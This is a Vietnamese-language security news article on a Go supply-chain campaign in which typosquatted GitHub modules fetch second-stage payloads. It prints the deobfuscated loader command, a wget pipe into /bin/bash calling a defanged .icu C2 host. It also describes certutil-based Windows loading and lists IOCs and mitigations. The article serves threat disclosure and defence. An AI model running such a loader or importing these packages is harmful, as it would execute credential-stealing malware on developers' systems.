Mã độc Go nguy hiểm: Tấn công chuỗi cung ứng nghiêm trọng

Mã độc Go nguy hiểm: Tấn công chuỗi cung ứng nghiêm trọng

Nhóm nghiên cứu bảo mật của Socket đã phát hiện mã độc Go phân tán qua GitHub, bao gồm mười một gói độc hại, trong đó mười gói vẫn đang hoạt động trên Go Module Mirror. Điều này đặt ra rủi ro liên tục cho các nhà phát triển và hệ thống CI/CD.

Nội dung
Chiến dịch Mã độc Go và Kỹ thuật Typosquatting
Phân tích Kỹ thuật Mã độc và Cơ chế Che giấu

Cơ chế che giấu chuỗi và thực thi Payload
Mục tiêu hệ thống và Phương thức lây nhiễm
Phân tích chi tiết các biến thể và IOC
Chỉ số Nhận diện Sự xâm nhập (IOCs)
Biện pháp Phòng ngừa và Giảm thiểu Rủi ro

Chiến dịch Mã độc Go và Kỹ thuật Typosquatting

Trong số các gói được phát hiện, tám gói sử dụng kỹ thuật typosquatting. Chúng mô phỏng các module hợp lệ để lợi dụng sự nhầm lẫn không gian tên trong hệ sinh thái phi tập trung của Go. Việc nhập trực tiếp từ các kho lưu trữ có thể dẫn đến việc tích hợp nhầm mã độc hại vào dự án.

Typosquatting là một mối đe dọa đáng kể trong chuỗi cung ứng phần mềm. Nó khai thác lỗi đánh máy của nhà phát triển hoặc sự nhầm lẫn do các module có tên tương tự. Điều này đặc biệt hiệu quả trong môi trường Go, nơi việc tìm kiếm các module trên registry thường hiển thị kết quả không liên quan hoặc các module ít được nhập. Ví dụ điển hình bao gồm github.com/stripedconsu/linker giả mạo github.com/logrange/linkergithub.com/cavernouskina/mcp-go bắt chước các phiên bản lành tính.

Phân tích Kỹ thuật Mã độc và Cơ chế Che giấu

Các gói mã độc này che giấu một quy trình che giấu chuỗi dựa trên chỉ mục. Khi thực thi, routine này khởi tạo một shell để tải xuống và thực thi các payload giai đoạn hai từ các điểm cuối Command and Control (C2) có thể thay thế. Các C2 này chủ yếu nằm trên các miền .icu.tech.

Cơ chế che giấu chuỗi và thực thi Payload

Cơ chế che giấu liên quan đến việc xây dựng các lệnh từ mảng chuỗi thông qua việc nối chuỗi theo chỉ mục. Một ví dụ điển hình được quan sát trong github.com/expertsandba/opt. Tại đây, một hàm sẽ tạo ra lệnh exec.Command(“/bin/sh”, “-c”, <deobfuscated>). Lệnh này sau khi giải mã sẽ trở thành:

wget -O - https://monsoletter[.]icu/storage/de373d0df/a31546bf | /bin/bash &

Lệnh này có chức năng tải về một kịch bản bash và truyền trực tiếp vào /bin/bash để thực thi mà không cần ghi vào đĩa (diskless execution). Điều này giúp làm giảm dấu vết trên hệ thống và gây khó khăn cho việc phân tích pháp y.

Mục tiêu hệ thống và Phương thức lây nhiễm

Chiến dịch này nhắm mục tiêu vào cả máy chủ xây dựng Linux và máy trạm Windows. Kẻ tấn công lợi dụng các bộ nạp payload (loader) dành riêng cho từng nền tảng:

  • Trên các hệ thống Unix, mã độc sử dụng wget để tải về các script bash và chuyển trực tiếp chúng vào /bin/bash. Phương pháp này đảm bảo thực thi không ghi đĩa, khó bị phát hiện bởi các giải pháp bảo mật truyền thống.
  • Trên Windows, mã độc sử dụng certutil.exe để chuyển công cụ vào hệ thống, sau đó thực hiện kỹ thuật tiêm tiến trình (process injection) để chạy payload ngầm. Việc sử dụng certutil.exe là một kỹ thuật sống ngoài đất (Living Off The Land – LOTL) phổ biến, tận dụng các công cụ hợp pháp của hệ điều hành.

Các payload quan sát được bao gồm các tệp nhị phân ELF (cho Linux) và PE (cho Windows). Các payload này thực hiện các hành vi độc hại như liệt kê thông tin máy chủ, đánh cắp thông tin đăng nhập trình duyệt và thiết lập kênh liên lạc ra bên ngoài (outbound beacons). Để né tránh phân tích trong môi trường sandbox, các payload thường có một độ trễ ban đầu khoảng một giờ trước khi thực thi các chức năng chính.

Phân tích chi tiết các biến thể và IOC

Nhiều gói mã độc Go khác nhau thể hiện các mẫu tương tự. Ví dụ, github.com/weightycine/replika giải mã các lệnh kép nhắm mục tiêu vào cả Linux và Windows, sử dụng các C2 như https://infinityhel[.]icu/storage/de373d0df/a31546bfhttps://infinityhel[.]icu/storage/bbb28ef04/fa31546b. C2 thứ hai cung cấp một tệp thực thi PE độc hại được thiết kế để đánh cắp thông tin đăng nhập.

Các gói như github.com/ordinarymea/tnsr_idsgithub.com/lastnymph/gouid tái sử dụng cơ sở hạ tầng C2, cho thấy có thể cùng một tác nhân đe dọa đứng sau chiến dịch này. Các payload của chúng tích hợp cơ chế né tránh thông qua lệnh sleep và khả năng exfiltration dữ liệu.

Điểm chung của các gói này bao gồm bảy đường dẫn C2 kết thúc bằng /storage/de373d0df/a31546bf, cơ chế che giấu thống nhất và các bộ nạp được thực thi qua bash piping. Các kỹ thuật này phù hợp với nhiều kỹ thuật MITRE ATT&CK, cụ thể:

  • T1059.004 (Unix Shell): Thực thi lệnh thông qua shell Unix.
  • T1059.003 (Windows Command Shell): Thực thi lệnh thông qua shell Windows.
  • T1218.010 (Certutil): Sử dụng certutil.exe để chuyển tải và giải mã tệp.
  • T1105 (Ingress Tool Transfer): Chuyển các công cụ độc hại vào hệ thống mục tiêu.
  • T1055 (Process Injection): Tiêm mã độc vào các tiến trình hợp pháp.
  • T1027 (Obfuscated Files or Information): Che giấu mã hoặc thông tin để tránh bị phát hiện.
  • T1036 (Masquerading): Giả mạo để lẩn tránh phát hiện (ví dụ: typosquatting).

Chiến dịch mã độc Go này tương tự như các chiến dịch trước đây được ghi nhận bởi Socket, liên quan đến các payload phá hoại dựa trên wget và các bộ nạp mã độc trong các module bị typosquatted. Để biết thêm chi tiết kỹ thuật về chiến dịch này, độc giả có thể tham khảo báo cáo gốc từ Socket tại Socket.dev Blog.

Chỉ số Nhận diện Sự xâm nhập (IOCs)

Dưới đây là các chỉ số nhận diện sự xâm nhập (IOCs) liên quan đến chiến dịch mã độc Go này:

  • SHA256 Hashes:
    • 844013025bf7c5d01e6f48df0e990103ad3c333be31f54cf5301e1463f6ca441 (ELF binary, enumeration & network requests)
    • 4a8bf419424ff42b736a51472d35a2c172e4c60b762c519b0b2f9eb04690726c (PE executable, credential theft)
    • 2b55430b90a500cb2bb9ddc530aeb1ffb8d2f8878148b7204ab7ef998d66eb9d (Payload with evasion via sleep)
    • 42f3f9d2684328575847f3115fcd6f759cc47b0f21b3d4fea480de0f34a1e947 (Payload with exfiltration capabilities)
  • Command and Control (C2) Domains:
    • monsoletter[.]icu
    • infinityhel[.]icu
  • Command and Control (C2) Path:
    • /storage/de373d0df/a31546bf (Phổ biến trên nhiều C2)
    • /storage/bbb28ef04/fa31546b (C2 phụ cho payload Windows)
  • Malicious Go Packages (Typosquatted):
    • github.com/expertsandba/opt
    • github.com/weightycine/replika
    • github.com/ordinarymea/tnsr_ids
    • github.com/lastnymph/gouid
    • github.com/stripedconsu/linker (mô phỏng github.com/logrange/linker)
    • github.com/cavernouskina/mcp-go (mô phỏng module lành tính)

Biện pháp Phòng ngừa và Giảm thiểu Rủi ro

Với việc các gói mã độc Go này vẫn tồn tại trực tuyến và khả năng kẻ tấn công xoay vòng cơ sở hạ tầng, việc phòng thủ chủ động là vô cùng cần thiết. Để giảm thiểu nguy cơ bị tấn công chuỗi cung ứng phần mềm, các tổ chức và nhà phát triển nên thực hiện các biện pháp sau:

  • Quét phụ thuộc thời gian thực: Sử dụng các công cụ quét phụ thuộc tự động để phát hiện và cảnh báo về các module độc hại hoặc có lỗ hổng ngay trong quá trình phát triển và CI/CD.
  • Kiểm tra mã nguồn và phụ thuộc: Thường xuyên kiểm tra các thư viện và gói bên ngoài được sử dụng trong dự án. Xác minh tính hợp lệ và nguồn gốc của các module trước khi tích hợp.
  • Phát hiện che giấu và typosquatting: Triển khai các giải pháp có khả năng phát hiện các kỹ thuật che giấu mã và các trường hợp typosquatting, đặc biệt đối với các gói có tên tương tự hoặc có hành vi bất thường.
  • Đào tạo nhận thức bảo mật: Nâng cao nhận thức cho các nhà phát triển về rủi ro của tấn công chuỗi cung ứng và cách nhận biết các dấu hiệu của mã độc.

Việc áp dụng các biện pháp này sẽ giúp tăng cường an ninh mạng, bảo vệ các dự án phần mềm khỏi các mối đe dọa mạng tinh vi như chiến dịch mã độc Go hiện tại.